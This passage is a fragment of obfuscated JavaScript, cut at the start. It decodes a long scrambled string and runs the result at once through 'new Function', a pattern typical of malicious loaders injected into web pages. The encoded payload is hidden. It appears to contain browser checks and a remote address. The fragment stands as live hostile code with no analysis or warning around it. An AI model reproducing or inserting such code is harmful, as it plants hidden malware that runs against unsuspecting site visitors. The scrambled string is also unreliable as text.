0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();